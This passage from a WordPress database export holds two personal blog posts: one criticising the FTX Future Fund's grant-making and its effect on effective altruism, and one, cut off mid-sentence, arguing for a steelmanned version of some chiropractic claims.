href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F540875ea-d832-4dfe-88d4-825e356649fa_907x510.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F540875ea-d832-4dfe-88d4-825e356649fa_907x510.jpeg\" alt=\"Fortress of Solitude | Star Wars: Exodus Visual Encyclopedia | Fandom\" title=\"Fortress of Solitude | Star Wars: Exodus Visual Encyclopedia | Fandom\"/></a><figcaption>Jeffy B, call me if this looks interesting.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I’m actually in agreement with the impetus of FTX Future Fund’s focus. I do think there are serious problems that can and should be solved with money, and that catastrophic risks are one of those problems. The fact that they’re putting so much time and effort into this is, again, admirable!<br><br>But, ironically, I don’t think they’re thinking about the longterm effects of the insane amounts of money they’re doling out. Specifically, I don’t just think they risk the amounts of money they’re spending being wasted, I think they’re risking them being actively counterproductive. And I think those two updates are perfect examples of that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, I think the insane amounts of money they’re spending is changing EA to being a social movement from being one where you expect to give money, to being one where you expect to get money. When I introduce people to EA, I always start with Peter Singer’s famous thought experiment that it’s as immoral to ignore people starving in a foreign country as it would be to ignore someone drowning next to you. I don’t expect it to resonate with everyone, but for those who it does resonate with, it resonates with them strongly. Those tend to be good people, in my experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t start with, “EA is a loose knit coalition of insanely wealthy nonprofits in which you can earn huge amounts of money by writing convincing essays about ways in which AI might end humanity.” There are only two sorts of people who this would attract: people who are already incredibly worried about AI, and people who will pretend to believe anything to earn a lot of money. The latter way outnumber the former, but they are very good at pretending to be the former.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This influx of people who are into EA because they really like being around money and what it can buy (and hope to get some themselves) is already happening. I recently wrote&nbsp;<a href=\"https://www.reddit.com/r/slatestarcodex/comments/xprjul/is_it_me_or_are_the_proposed_clearer_thinking/\">a Reddit post about the Clearer Thinking regrants</a>. These were, for the record, supposed to be&nbsp;<a href=\"https://www.clearerthinking.org/post/apply-to-the-clearer-thinking-regrants-program\">“altruistic efforts that could greatly improve the world”</a>, according to the official submission guidelines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to Clearer Thinking, they received 630 applications, and winnowed them down to 37, 28 of which agreed to be reviewed publicly in the predictions market. So, these 28 should presumably be the best of the best, right? Shining examples of altruistic efforts that, if implemented, would be truly incredible achievements for the world at large?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, as I reviewed in the Reddit post, they weren’t. At all. I mean, some of them seemed good (about 8, by my count). And some were just misguided, like&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-sociopolitical-impacts\">a guy who was convinced that nobody had explored the societal impacts of nuclear winter before</a>&nbsp;or&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-opinion-dynamics-with\">a team that wanted to build malicious AI to form countermeasures against it</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But a fair number just felt like grifts, or people who saw a lot of money up for grabs and thought it’d be cool to have some for themselves. They wanted&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-business-skills-coachi\">$40k for their own company to deliver business coaching to EA organizations</a>,&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-federal-ai-regulation\">$150k to personally go harangue regulators about AI</a>,or&nbsp;&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-better-debates\">$50k to promote their debate app</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even worse, a number of them were just looking to set up their own regranting. They wanted to take the money from FTX to pay themselves a salary and then just hire people to do something. This came in a wide variety of forms, from&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-extending-cause-priori\">$500k to hire behavioral scientists to research behavioral science</a>, to&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-the-longtermist-animal\">$100k to hire a researcher to find ways to reduce animal suffering</a>, to&nbsp;<a href=\"https://manifold.markets/clearthinkbot/will-we-fund-curiosity-fellowship\">an unclear amount of money to just give grants to interesting people and then hang out with them</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This last group, the rent-seekers, is who really worries me, even more than the grifters. These aren’t people who are capable of solving a problem themselves or are really interested in it. These are people who see a large sum of money and think that they can appropriate some of it to make themselves wealthy and have some degree of status. If they can convince Clearer Thinking into thinking they’ve identified a problem, they hope that they will personally be able to direct and control the people who can actually solve the problem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F92e6c350-f36a-43e1-8052-261af31b9bf1_259x194.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F92e6c350-f36a-43e1-8052-261af31b9bf1_259x194.jpeg\" alt=\"Why Is My Dog A Hoarder? - Animal Talk\" title=\"Why Is My Dog A Hoarder? - Animal Talk\"/></a><figcaption>Rent-seekers, like golden retrievers, very much enjoy having things that other people want.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The fact that the FTX pot of money is already attracting these people is worrying me. The misguided can be educated and the grifters can be ignored, but the rent-seekers will actively try to work their way into an organization in order to gain power. And once they do, they are very hard to extract out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings me to my second big problem. Large spigots of money end up requiring bureaucracy to direct them into the appropriate places. That’s natural, and unavoidable as more money pours into EA. However, things get bad when there’s nowhere for the money to go, and it just accumulates as it’s waiting to be spent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad because it makes fighting the Iron Law of Bureaucracy much more difficult. The Iron Law of Bureaucracy teaches that people that form a bureaucracy will necessarily come in one of two forms: people who care about the mission, and people who care about the bureaucracy. People who care about bureaucracy for its own sake have a natural advantage in any bureaucracy, and will slowly take over any organization if left unchecked until they’ve completely replaced the mission-focused people. The only way to check this is by constantly staying vigilant for the bureaucracy to be controlled by the mission-focused.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if there’s no mission to be focused on for some large part of the bureaucracy, because they’re just waiting for the money to be directed, you’re already weighing the organization towards bureaucracy-loving bureaucrats. All money needs bureaucrats to organize it. Pots of money with no mission attached to them will only attract bureaucrats who just like controlling money.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And these people get attracted to accumulated money like flies to rotting meat. It’s difficult for mission-oriented people to understand the attraction, but bureaucrats just love being in control of resources for their own sake. That’s why people will jump on each other to get put on zoning boards, just so they can stop buildings being built.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the same way, these bureaucracy-loving bureaucrats will actively prevent work being done without their say-so. They have to in order to justify their position. Every single cause that a good EA person cares about, from AGI to zoonotic diseases, will now have someone sitting on top of a pile of money demanding that everything goes through them first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The grant appliers from above are perfect examples of that. They don’t dream of fixing animal welfare themselves, or becoming behavioral scientists themselves. They dream of sitting on a pile of money that’s supposed to be used for behavioral science. They can make a bunch of behavioral scientists jump through hoops to get to use some small portion of the money. Then, they can attend EA conferences and demand to have a say in how larger organizations spend their money on behavioral science, because now they’re somehow experts after making people jump through hoops. And then, in their wildest dreams, they can discourage FTX from funding any other behavioral science, because that intrudes on their territory. They will be the sole arbiters of behavioral science, or animal welfare, or nuclear disarmament, or whatever other fiefdom they’ve managed to appropriate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, because this is EA, all of this will be accompanied by thousands of words of verbiage. And that’s the third big problem with FTX’s push. When you start giving out millions of dollars and ask for it to be used ASAP, there will be very few “shovel-ready” projects that can use the money. Concrete ideas are difficult to implement, take time to plan, and need and use money in stages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know what doesn’t take time to plan and can use a lot of money quickly? Hiring a bunch of people to write think pieces. It even scales up with the amount of money. If it takes a year for 100 people to build a bridge, twice as many people probably won’t build it in 6 months. However, if it takes a month for 5 people to produce 50,000 words, twice as many people can produce 50,000 words in roughly half the time, ignoring quality issues. If all you’re looking for is to pay for output, paying a lot of people to write a lot of bullshit is an easy way to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, I’m not necessarily saying that it’s bad to pay people to write stuff. However, I think it’s really easy to have an illusion of progress because there are a lot of people publishing stuff, when in fact they’re just writing to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This already seems to be happening with AI alignment. The EA forums are filled with people talking to each other about AGI (soon to be a lot more of them with the new AI essay competition). But those aren’t the people who will influence the eventual direction of AGI. Those people presumably work at OpenAI, or Facebook, or Google, or some Chinese university.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And sure, maybe the goal is to change the minds of the people who are going to develop AGI. But a bunch of people talking inside baseball in endless forum threads isn’t the way to do so. That works about as well as the endless threads on Hacker News about “privacy” do to change Google’s mind on their advertising standards. It’s just a bunch of faceless Internet commenters talking to each other while being ignored by the people who make decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9e6ac3d4-2cf6-41c4-9c8e-9c5fe2b625e3_612x408.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F9e6ac3d4-2cf6-41c4-9c8e-9c5fe2b625e3_612x408.jpeg\" alt=\"5,350 Ignoring Child Stock Photos, Pictures &amp; Royalty-Free Images - iStock\" title=\"5,350 Ignoring Child Stock Photos, Pictures &amp; Royalty-Free Images - iStock\"/></a><figcaption>Pictured: a man designing AGI being bothered by a college freshman who has strong opinions on the Less Wrong forums.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Except, in this case, the faceless Internet commenters are being subsidized by billions, so they write extra long comments that seem extra official. But they’re still not doing anything. The shape of the future is not changed one bit by them clicking post or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m concerned that this is drawing talent and attention away from important, hard work that requires a large amount of time. FTX is paying more for these essays than the average person makes in 10 years, and they’re couching it in terms of “this is a meaningful thing for someone who cares about EA to do”. Effective altruists are humans, and many EA people in low-paying jobs derive benefit from the esteem that their jobs are held in the community. But if a young EA person learns that they can earn $500k writing essays or $40k negotiating prices for mosquito nets, and that each is considered equally important by the authorities they respect, why would anyone ever choose mosquito nets?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were FTX, I would change my funding model in a few ways:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. I’d look into the FRO model. In a nutshell, specialized, pre-funded institutions with a predetermined lifespan and a definite mission. Once they reach the end of their predetermined lifespan or the end of their mission, they disband.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. I’d make sure all regranters have a limited pot of money, specific types of projects that they can regrant to that they are qualified to judge, and a mission not to grant money to other regranters. There needs to be no financial incentive to give grants (e.g. a shrinking pot of money if not all the money is given out).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Awards for essays of all sorts need to be drastically reduced. This also includes the blogging awards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the day, I know I’m just some guy, and I do expect to be ignored as the&nbsp;<em>SS FTX Future Fund</em>&nbsp;goes roaring off across the seas and I stay shouting on the shore. However, I write this missive in the blind hope that I can reach some captain before FTX, in its reckless enthusiasm, brings pernicious invasive species to the largely unspoiled EA lands. We will see.</p>\n<!-- /wp:paragraph -->','The FTX Future Fund needs to slow its charitable spending way down','','inherit','closed','closed','','315-revision-v1','','','2022-10-19 15:39:34','2022-10-19 15:39:34','',315,'https://trevorklee.com/?p=316',0,'revision','',0),
(317,1,'2022-10-19 15:41:03','2022-10-19 15:41:03','<!-- wp:heading {\"level\":1} -->\n<h1>Introduction</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s really easy to be skeptical of chiropractors. The founder of chiropractic, D. D. Palmer, claimed that all diseases come from disorders of the spine, and can be fixed by fixing the spine. His son and intellectual heir, B.J. Palmer, went further and claimed that all diseases come from disorders of the upper spine, and can be diagnosed by measuring temperature changes in the spinal column using a handheld “neurocalometer”, which he made his followers lease for exorbitant prices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These ideas are obviously ridiculous. Even worse, they still have adherents today, so called “straight” chiropractors (as opposed to “mixer” chiropractors, who mix traditional chiropractic with other ideas and disciplines). It’s entirely possible that if you go to your local chiropractor tomorrow, he will pull out a neurocalometer or its successor, the Nervo-Scope. For a personal example, I live 5 minutes away from Mass General Hospital, one of the best hospitals in the world, and there’s a chiropractor across the street from me who claims he can cure ADHD in children with spinal manipulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, my thought process about chiropractic ended with my knowledge of the above. Then, as I got older, I started becoming more interested in it again. I became more familiar with the ways in which traditional medicine failed, especially in chronic musculoskeletal issues (like&nbsp;<a href=\"https://trevorklee.substack.com/p/how-ive-tried-to-fix-my-lower-back\">my own lower back pain</a>). And, as I looked more deeply into chiropractic, I found myself becoming increasingly impressed by its successes. I found dozens of Youtube videos of chiropractors having remarkable success curing tricky musculoskeletal ailments.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I’m aware that those videos can be faked. It is the Internet, after all. However, what couldn’t be faked was the process the chiropractors used to diagnose and treat their patients. They had surprisingly systematic methods of diagnosis (including radiography) and followed a logical treatment plan based on those diagnoses. Even if the videos were faked (and I don’t think they were), the logic behind how the chiropractors thought seemed very real.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fba11d7c0-0d59-4527-8742-e5d75f40db62_2174x444.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fba11d7c0-0d59-4527-8742-e5d75f40db62_2174x444.png\" alt=\"\"/></a><figcaption>A good video for getting a sense of how some of the better “mixer” Youtube chiropractors (or in this case, a “naprapath”) think about their patients. Here, Beau Hightower explains to an orthopedic surgeon how he thinks about the spine while performing adjustments on him. If you can survive the clickbait title, here’s&nbsp;<a href=\"https://www.youtube.com/watch?v=jQAWBpV6c5g\">a link to the video</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After watching way too many Youtube videos, then, I decided to finally approach chiropractic in my own systematic way. I knew I wouldn’t be able to learn everything chiropractors learn without doing some hands-on work, and that wasn’t what I was interested in, anyways. I was much more interested in what chiropractors thought of as the foundation for why and how their treatments were designed. And, more importantly, I wanted to be able to establish which parts of chiropractic should be taken into the mainstream.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here’s my attempt at establishing those parts. I think there are 3 claims of chiropractic that can be taken seriously and should be adopted into mainstream medicine. I’ve listed them here from easiest to most difficult to defend. As you might expect, I’ll try to defend each of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>The chiropractic claims that can be steelmanned</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>1. There are spinal disorders that can be permanently fixed only with directly and physically manipulating the vertebrae. These manifest through pain, neuropathy, and limited mobility involving the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. There are musculoskeletal disorders that are, in fact, spinal disorders, and part of the treatment of these should be directly and physically manipulating the vertebrae. These manifest through pain, neuropathy, and limited mobility involving parts of the body that have no obvious connection to the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. There are some scattered somatic disorders that are in fact, partially spinal disorders, and part of the treatment of these should be directly and physically manipulating the vertebrae. These can manifest in ways that are not obviously connected to the spine at all, like dizziness or indigestion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 1: there are spinal disorders that can be permanently fixed only with directly manipulating the vertebrae.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before I get into claim 1, it would probably be useful to explain how modern/mixer/non-insane chiropractors think about the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Chiropractors see the spine as a chain of vertebrae that go directly down the center of the back. These vertebrae are separated by cushiony discs that prevent them from directly impacting each other. The vertebrae and the discs are held in place by a combination of muscle and ligament. Woven in the spine are nerves, both efferent, which go from the brain to the body to dictate movement, and afferent, which go from the body to the brain as part of the sensory system.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18badde-984b-4e05-8083-3cf3af77e784_685x671.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe18badde-984b-4e05-8083-3cf3af77e784_685x671.png\" alt=\"\"/></a><figcaption>Between each vertebrae is a disc, which you can see below. These nerves are interwoven through the bones and held in place through muscle and ligament. If you take a look at the sciatic nerve by the leg, it should be unsurprising how back dysfunction can lead to hip dysfunction, which can pinch the sciatic nerve. This is a bit of a spoiler for below.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The ideal spine has an S curve from front to back, and no curve from side to side. This helps support the weight of the body as we stand upright. Any variations from this ideal can cause pain, loss of mobility, or other problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc05569ba-82d0-4989-9c7e-cf3c792f03a0_500x750.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc05569ba-82d0-4989-9c7e-cf3c792f03a0_500x750.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The modern chiropractor does not believe, as the traditional chiropractor does, that the spine is the ultimate determinant of health. However, he or she believes that good spinal health is necessary for good overall physical and mental health. He also believes that the spine, along with the rest of the body, can normally self-regulate, repairing itself from damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, certain damages or “challenges” can cause a change to the body that’s impossible for the body to fix on its own. These challenges can be physical, chemical, or emotional. Chiropractic is most useful for repairing physical challenges. These can be sudden physical challenges, like a car crash causing a dislocated vertebrae, or chronic challenges, like someone who carries heavy weights on their back every day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7540654f-5247-4361-ab3a-9e66d13f720b_888x516.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7540654f-5247-4361-ab3a-9e66d13f720b_888x516.png\" alt=\"\"/></a><figcaption>An example of a dislocation or subluxation caused by a fall. This patient apparently only had limited range of motion, but no pain. It&nbsp;<a href=\"https://www.nejm.org/doi/full/10.1056/NEJMicm0908013\">was fixed by orthopedic surgery</a>, which is another means of directly and physically manipulating the vertebrae.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The most obvious thing that can go wrong with the spine is for a part of the spine to get bent out of place for whatever reason. This can be due to a problem with the spine itself, or with the muscles and ligaments that keep it in place. A part of the spine that’s out of place can interfere with the functioning of the muscles, the ligaments, or the nerves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a modern chiropractor will do what’s necessary in order to get the vertebrae back into place. A very common method of treatment is to do the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Ask the patients what their specific pain is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Confirm the source of the pain by pressing on various parts of the spine, or asking the patient to perform movements that target specific parts of the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Massage the muscles around the dislocated (or “subluxated”) part of the spine, as they are likely tense from overwork, given that their structural support is out of place. This massage is meant to make the muscles relax so that the associated vertebrae can move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. “Adjust” the vertebrae back into place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Prescribe a series of exercises and stretches to keep the vertebrae in place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If a vertebrae is so out of place that it can’t be moved back in by normal range of motion or exercise, someone has to physically manipulate it back in. In the meanwhile, that will likely cause pain, nerve complications, or loss of motion. So, that’s claim 1!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s try claim 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 2: there are musculoskeletal disorders that appear elsewhere in the body that need to be fixed by spinal manipulation.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This claim is a bit trickier. Most people will only go to a chiropractor for back problems. If a chiropractor claims to be able to fix non-back problems, it’s natural to be skeptical. However, I think there are some non-back pains and nerve problems that need to have chiropractic (or other spinal manipulation) as part of their treatment plan. I’m referring specifically to problems caused by compensation and nerve confusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Compensation is relatively straightforward. Imagine you’re doing deadlifts, and you end up hurting your lumbar spine. This is your lower back, which connects directly to your pelvis. It’s a huge part of how you walk. Let’s say you specifically pinch your sciatic nerve on your left side by accidentally rotating your sacrum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, when you walk, it hurts to use your left leg as much. Instead, you start to use your right leg more. Your right leg is suddenly taking on almost all the work of your left leg. This places increasing amounts of strain on all parts of your right leg, from your foot up to your hip.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The final result is that the compensation for the loss of left leg function ends up causing pain in your right foot. If you go and see a chiropractor for the pain in your right foot, part of their treatment will need to be to help you fix your lower back issue on your left side.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F83243743-fb84-462e-a8cc-7c71ebdabb63_1200x628.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F83243743-fb84-462e-a8cc-7c71ebdabb63_1200x628.jpeg\" alt=\"Understanding Leg Length Discrepancy (LLD) - MASS4D® Foot Orthotics\" title=\"Understanding Leg Length Discrepancy (LLD) - MASS4D® Foot Orthotics\"/></a><figcaption>This is obviously exaggerated, but you can see how a shift in your pelvis could cause an entire side of your body to be injured as it compensates.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That’s one way in which pain that’s not obviously connected to your spine would still need to be fixed by a spinal adjustment. Another way is nerve confusion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to address nerve confusion, it’d probably be easiest to start with a familiar example. You’re probably familiar with the fact that one of the main symptoms of a heart attack is pain radiating from the chest down the arm. If you think about it, that’s a bit strange. Heart attacks do not affect the arm. There’s never been anyone who’s suffered arm damage from a heart attack. So why would that be a symptom of a heart attack?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, there are a lot of motor neurons and sensory neurons that run through the chest area. They kind of have to in order to get from the spine to the arm. As a heart attack goes on, inflammatory substances are released, as happens whenever there’s tissue damage (think of the hot swelling of a sprained ankle). Depending on how many inflammatory substances are released, they can start affecting the other sensory neurons in the area, tricking the brain into thinking the pain is coming from wherever the other sensory neurons terminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is similar to phantom limb pain, in which people can get a body part amputated and then still feel pain from that amputated body part. The body misinterprets where the pain is coming after the sensory neuron is triggered, assuming it’s still coming from the amputated limb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similar pains can happen around the spine. Depending on the location of a spinal subluxation (or even just a muscle spasm), a random sensory neuron can get tripped. Pain ends up getting attributed to the wrong part of the body. This is what commonly happens, for instance, when people with stiff necks complain of pain around their eyes or ocular migraines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it’s possible someone with an ocular migraine, or even pain in their arm, might actually be experiencing a sensory neuron being irritated at the spinal column (rather than where it feels like the sensory neuron is being irritated). This can then be fixed by manipulation of the spine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdf786fd-59dc-4745-a43f-c49d3bef52ce_1280x720.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdf786fd-59dc-4745-a43f-c49d3bef52ce_1280x720.jpeg\" alt=\"Neck And Eye Pain After A Car Accident\" title=\"Neck And Eye Pain After A Car Accident\"/></a><figcaption>I thought I had too many informative pictures, so here’s one that’s completely unhelpful.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>Claim 3: there are some non-musculoskeletal somatic disorders, like dizziness or indigestion, that still need to have spinal manipulation as part of their treatment plan.</h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The last claim can then start with the same idea. Let’s say that someone is experiencing pain in their eye region due to neural irritation in their neck. They identify this as an ocular migraine, which they’ve had before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Having experienced ocular migraines before, they’ve gotten used to the idea that, whenever they get a 